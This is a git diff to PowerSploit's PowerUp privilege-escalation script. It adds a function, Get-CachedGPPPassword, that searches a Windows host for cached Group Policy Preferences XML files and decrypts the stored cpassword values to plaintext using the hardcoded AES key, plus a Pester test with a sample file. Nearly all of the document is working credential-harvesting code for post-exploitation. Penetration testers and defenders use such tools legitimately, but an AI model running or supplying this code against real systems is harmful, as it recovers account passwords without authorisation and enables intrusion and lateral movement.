aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Privesc/PowerUp.ps1208
-rw-r--r--Tests/Privesc.tests.ps126
2 files changed, 234 insertions, 0 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 447ce61..8dd14c5 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -3502,6 +3502,206 @@ function Get-SiteListPassword {
}
+function Get-CachedGPPPassword {
+<#
+ .SYNOPSIS
+
+ Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
+
+ PowerSploit Function: Get-CachedGPPPassword
+ Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .DESCRIPTION
+
+ Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
+
+ .EXAMPLE
+
+ PS C:\> Get-CachedGPPPassword
+
+
+ NewName : [BLANK]
+ Changed : {2013-04-25 18:36:07}
+ Passwords : {Super!!!Password}
+ UserNames : {SuperSecretBackdoor}
+ File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
+ C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
+ oups.xml
+
+ .LINK
+
+ http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+ https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
+ http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+#>
+
+ [CmdletBinding()]
+ Param()
+
+ # Some XML issues between versions
+ Set-StrictMode -Version 2
+
+ # make sure the appropriate assemblies are loaded
+ Add-Type -Assembly System.Security
+ Add-Type -Assembly System.Core
+
+ # helper that decodes and decrypts password
+ function local:Get-DecryptedCpassword {
+ [CmdletBinding()]
+ Param (
+ [string] $Cpassword
+ )
+
+ try {
+ # Append appropriate padding based on string length
+ $Mod = ($Cpassword.length % 4)
+
+ switch ($Mod) {
+ '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
+ '2' {$Cpassword += ('=' * (4 - $Mod))}
+ '3' {$Cpassword += ('=' * (4 - $Mod))}
+ }
+
+ $Base64Decoded = [Convert]::FromBase64String($Cpassword)
+
+ # Create a new AES .NET Crypto Object
+ $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
+ 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
+
+ # Set IV to all nulls to prevent dynamic generation of IV value
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesObject.IV = $AesIV
+ $AesObject.Key = $AesKey
+ $DecryptorObject = $AesObject.CreateDecryptor()
+ [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
+
+ return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
+ }
+
+ catch {Write-Error $Error[0]}
+ }
+
+ # helper that parses fields from the found xml preference files
+ function local:Get-GPPInnerFields {
+ [CmdletBinding()]
+ Param (
+ $File
+ )
+
+ try {
+
+ $Filename = Split-Path $File -Leaf
+ [XML] $Xml = Get-Content ($File)
+
+ $Cpassword = @()
+ $UserName = @()
+ $NewName = @()
+ $Changed = @()
+ $Password = @()
+
+ # check for password field
+ if ($Xml.innerxml -like "*cpassword*"){
+
+ Write-Verbose "Potential password in $File"
+
+ switch ($Filename) {
+ 'Groups.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Services.xml' {
+ $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Scheduledtasks.xml' {
+ $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'DataSources.xml' {
+ $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Printers.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Drives.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+ }
+ }
+
+ foreach ($Pass in $Cpassword) {
+ Write-Verbose "Decrypting $Pass"
+ $DecryptedPassword = Get-DecryptedCpassword $Pass
+ Write-Verbose "Decrypted a password of $DecryptedPassword"
+ #append any new passwords to array
+ $Password += , $DecryptedPassword
+ }
+
+ # put [BLANK] in variables
+ if (-not $Password) {$Password = '[BLANK]'}
+ if (-not $UserName) {$UserName = '[BLANK]'}
+ if (-not $Changed) {$Changed = '[BLANK]'}
+ if (-not $NewName) {$NewName = '[BLANK]'}
+
+ # Create custom object to output results
+ $ObjectProperties = @{'Passwords' = $Password;
+ 'UserNames' = $UserName;
+ 'Changed' = $Changed;
+ 'NewName' = $NewName;
+ 'File' = $File}
+
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
+ Write-Verbose "The password is between {} and may be more than one value."
+ if ($ResultsObject) {Return $ResultsObject}
+ }
+
+ catch {Write-Error $Error[0]}
+ }
+
+ try {
+ $AllUsers = $Env:ALLUSERSPROFILE
+
+ if($AllUsers -notmatch 'ProgramData') {
+ $AllUsers = "$AllUsers\Application Data"
+ }
+
+ # discover any locally cached GPP .xml files
+ $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
+
+ if ( -not $XMlFiles ) { throw 'No preference files found.' }
+
+ Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
+
+ ForEach ($File in $XMLFiles) {
+ Get-GppInnerFields $File.Fullname
+ }
+ }
+
+ catch {Write-Error $Error[0]}
+}
+
+
function Write-UserAddMSI {
<#
.SYNOPSIS
@@ -3716,6 +3916,14 @@ function Invoke-AllChecks {
}
"`n"
+ "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
+ $Results = Get-CachedGPPPassword | Where-Object {$_}
+ $Results | Format-List
+ if($HTMLReport) {
+ $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
+ }
+ "`n"
+
if($HTMLReport) {
"[*] Report written to '$HtmlReportFile' `n"
}
diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
index b2478de..a36338e 100644
--- a/Tests/Privesc.tests.ps1
+++ b/Tests/Privesc.tests.ps1
@@ -1196,6 +1196,32 @@ Describe 'Get-SiteListPassword' {
}
+Describe 'Get-CachedGPPPassword' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges."
+ }
+
+ # all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb
+ It 'Should throw if no files are found.' {
+ Get-CachedGPPPassword | Should Throw
+ }
+
+ It 'Should correctly find and parse a cached Groups.xml file.' {
+ $Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml"
+ $Null = New-Item -ItemType File -Path $Path -Force
+ $GroupsXml = '<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User></Groups>'
+ $GroupsXml | Out-File -FilePath $Path -Force
+
+ $GPPResult = Get-CachedGPPPassword
+ Remove-Item -Force $Path
+
+ $GPPResult.Passwords[0] | Should be 'Super!!!Password'
+ $GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor'
+ }
+}
+
+
Describe 'Invoke-AllChecks' {
It 'Should return results to stdout.' {
$Output = Invoke-AllChecks